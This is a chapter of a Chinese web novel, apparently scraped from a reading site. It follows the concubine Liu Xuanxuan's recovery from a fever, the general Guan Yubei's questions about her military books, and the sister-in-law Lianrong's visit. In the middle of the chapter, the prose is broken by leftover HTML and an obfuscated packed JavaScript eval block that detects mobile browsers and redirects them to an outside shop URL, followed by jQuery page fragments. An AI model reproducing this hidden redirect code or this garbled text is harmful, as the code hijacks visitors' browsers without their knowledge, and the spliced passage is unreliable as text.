第二日临近午间,柳悬悬方才醒过来。
花早伏在床边,发觉她动了一下,紧跟着也醒了过来。
“姨娘你终于醒了!可把奴婢给担心坏了。”
柳悬悬想起来,浑身却绵软无力,只得让花早缓缓扶着坐起来。
“辛苦你照顾我了,是不是一晚上也没怎么睡?”许是长长地睡了一觉,柳悬悬声音没那么哑了,但依旧低沉虚弱。
花早摇头:“姨娘夜里服了药好多了,奴婢就跟在旁边睡的,一点不辛苦。说起来,这次还得好好感谢将军呢?”
“将军?”柳悬悬病容略带疑惑,“这干将军什么事?”
花早于是又把柳悬悬烧糊涂时,前后发生的事和她复述了一遍,柳悬悬只听得眉头愈发紧皱起来。
“到底还是人微言轻啊。只是发个热都求告无门。”柳悬悬低着头叹了口气。
花早就比她要乐观多了:“无妨的姨娘,将军说了,有任何事情再报给他就是了,想来将军也不似面上那般冷漠无情。往后我们再遇着事,就去找将军好了。”
柳悬悬只笑她天真:“哪能事事都找将军。况且——”她没有再说下去。
“况且什么?”
“况且将军也只是暂时回京述职,往后,他还得回驻地呢。”
花早‘啊’了一声,沉默片刻,见柳悬悬还沉浸在怅惘中,赶紧换了个话题站起来:“姨娘这会儿一定饿了吧,奴婢这就去让春绿夏青弄点吃食过来。”
说完也不待柳悬悬回应,小跑着出了门。
柳悬悬余光一瞥,看见了桌子上翻阅过却因生病未来得及收回去的书。
也不知他来屋里看到了没有?
这样想着,她慢慢挪动着从床榻上下来,缓步走到桌边把书收了起来。
花早端着铜盆进来,看见柳悬悬下了床,赶紧放下跑过来搀着她坐下。
“姨娘怎自己起来了?榻上歇着多好啊。”花早一脸担心。
柳悬悬扯开嘴角笑了笑:“不是正好要用膳,在床上像什么样子。”
花早也就没再说了,开始给柳悬悬拧帕子擦脸。
又过了不多会儿,春绿夏青就把菜端到了桌上。
都是些适合发热后吃的清淡小菜。
柳悬悬勉强吃了几口,任由花早如何说就是不肯再吃了。正巧这时屋外传来夏青唤‘将军好’的声音,几个人一同朝门口望去,果然关豫北的身影就出现了。
他跨步进了屋内,柳悬悬还有点不太适应,正要起身跟着花早一块行礼,被关豫北制止。
“你还病着,免了吧。”他摆了摆手。
柳悬悬还是福了福身子:“谢将军。”
关豫北也没再管,他扫了桌上还齐整的饭菜一眼,问道:“这是刚用膳?”
柳悬悬答道:“妾身刚用完膳了。”
关豫北不做可否。但是花早跳了出来:“将军,姨娘才吃两口现下就不肯再吃了,奴婢实在担心她的身子吃不消,既然将军来了,还请将军再好好劝劝吧。”
关豫北没说话,看向花早像是才想起来什么一样:“那日是你去叫的夫人?”
他说的是柳悬悬罚跪那日。
花早还没吱声,柳悬悬先半蹲着开了口:“将军要怪就怪我吧,她也是担心妾身才一时不管不顾,惊扰了夫人。”
花早扑通一下跪了下去:“是奴婢的错,请将军恕罪。”
关豫北看着情深似海的主仆二人:“都起来吧。”
然后他又看了看花早,对她温和说道:“以后有事就不要再去惊动夫人了,她身子不好,受不了这般奔波。再有急事,就来寻我吧。”
柳悬悬默默垂下了头。
她不敢承认,她此刻产生了嫉妒黛时的心思。
但黛时的好,又让她深觉连嫉妒都不配。
柳悬悬只感到心里一阵苦涩。一旁的花早浑然不觉,她只听到了关豫北让她日后有事找自己这几个字,高兴得连连点头称是。
关豫北笑了笑:“你这丫头,倒是忠心护主。”
说完就让花早退下了。
关豫北坐了下来,抬头看柳悬悬,她此刻一脸病容,脸色苍白,只双颊上还带一点病后的嫣红,倒显得比平日里更加楚楚娇美。
关豫北轻咳了一声,眼神挪开:“正好我也还未来得及用膳,不如一块再吃点吧。”
柳悬悬自是只能应下,硬着头皮夹了几筷子菜放进嘴里。
两人相顾无言。
又过了约摸一刻钟,关豫北放下了筷子,柳悬悬给他倒了一杯茶,然后依旧安静地低着头坐着。
关豫北顺势抿了一口,想说点什么,又不知从何处开口。
他环视着四周,看到那边架子上随手摆的几本书,突然想起来昨日昨日桌上那几本,今日倒是没看到了。他眸色渐深,假装不经意开口道:“昨日来你屋内见这桌上放了几本兵书,翻开看了看见解不凡,如今怎么不见了?”
柳悬悬桌下攥着衣袖的手紧了紧,她抬头:“因要进膳,就让丫鬟收起来了。不过是从前楼里贵人遗漏的,不知怎地就被花早这妮子给一并带出来了。将军若是喜欢,妾身这就取了来给将军,放妾身这也是没什么大用处。”
“别人遗漏的?”关豫北半信半疑。
“是的。那贵客颇懂军事兵法,还喜爱醉酒做批注,说是酒后思如泉涌。”
“是吗?”关豫北看着柳悬悬,又再问,“那那日宴席上,那番话你又是如何说出口的。”
柳悬悬赶紧起身伏低身子:“妾身那日就是想替将军解围,因之前楼里客人多喜讨论朝廷之事,妾身那日就胡言乱语照搬用了,请将军责罚。”
关豫北闻言嗤鼻笑了笑:“听你这么说,那腌臜地方倒真是卧虎藏龙。”
柳悬悬一直半蹲着未说话。
就在两人僵持着的时候,联荣走了进来。
看见关豫北也在,她状似一脸惊讶:“豫北也在呢。”
她低了低身子,关豫北微微颔首以做回应:“嫂嫂。”
柳悬悬也紧跟着行了礼:“大奶奶。”
联荣见柳悬悬一脸病容,赶紧上前走了两步。
“你还病着,不用如此。”说着就拉住她的手坐下。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17968204|214589||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
关豫北也坐在一旁。
“说起来,我真是自责不已,”联荣依旧亲热地拉着柳悬悬的手,“我也是后来才知道的,芳秀那臭婢子,居然敢自作主张把你的人拦在屋外,是我疏忽管教她了。老夫人让我掌家,先前我还让你唤我一声嫂嫂,可——我真是对不住你啊。”
联荣说的声泪俱下,柳悬悬只得安慰:“大奶奶别这样说。”
“你放心,我已经好好罚过芳容了,这管家的事,我也万不敢再接了,明日我就和老夫人辞了去,只希望这样的事不会再发生了。妹妹也千万别因了这事与我离心呐。”
“大奶奶多想了。”
关豫北往这边看了一眼,淡淡开口:“下人的问题,罚了去就好,嫂嫂莫要归咎自己。府里上上下下还要继续劳烦嫂嫂照料着。”
联荣这才点着头:“是,豫北说的是。”
“嫂嫂,你们聊,我先走了。”
关豫北说着又朝柳悬悬那边看了一眼,然后起身要走,被柳悬悬叫住。
“将军。”
联荣疑惑看着。
“还有何事?”关豫北的声音又变回从前的冷,头也未回。
“那几本书,将军可还要?”柳悬悬盯着他的背影问。
“你自己留着吧。”
关豫北说完,径直走了出去。
“书,什么书?”等关豫北走了,联荣不解问道。
“就是几本托人从外面淘来的书,想问问将军喜不喜欢。”柳悬悬搪塞道。
联荣只以为这是柳悬悬买来想讨好关豫北的,但关豫北没领情,也不再多问。
两个人又坐着聊了一会儿,联荣突然说起黛时来,还特意放小了声量。
“对了,你还不知道吧?豫北和弟妹,好像是吵架了。”
联荣脸上显露出很是喜悦的表情,柳悬悬有些疑惑地注视着她,她这才赶紧收了收,补了一句:“我这也听府里下人说的。”
“怎可能呢,夫人性子那么好,将军又如此看重夫人。恐怕是下人们乱嚼舌根的。”柳悬悬第一反应是不信的。
“定是没错的,传的有鼻子有眼呢!说是豫北脸色铁青着从弟妹房里出来,这还是头一次呢。要是两人没吵架,照往常,他刚那会儿早该去弟妹那里了——”联荣赶紧捂了捂嘴,看着柳悬悬没啥反应,心虚地笑了笑,“你瞧我这张嘴。”
“无事的,大奶奶不说我也知道。”柳悬悬假装不在意地笑了笑。所以他是和黛时吵架了,这才想起了自己这里?
“唉,你也别多想,”联荣宽慰道,“豫北今日能来,就是好事。至于其他的,只能慢慢来。”
柳悬悬点了点头。
这时,屋外忽地传来一阵骚动。好像同时进来了好些人,闹哄哄地。
“外头怎地突然这般吵闹?”联荣朝门外望过去。
柳悬悬正要起身出去看看,花早就跑了进来,一张小脸笑开了花。
“姨娘,是将军!将军命人搬来了好些花呢!全是奴婢瞧都未瞧过的品种,整整一大院子!”
听到这话,屋里两个人的脸色皆是一变。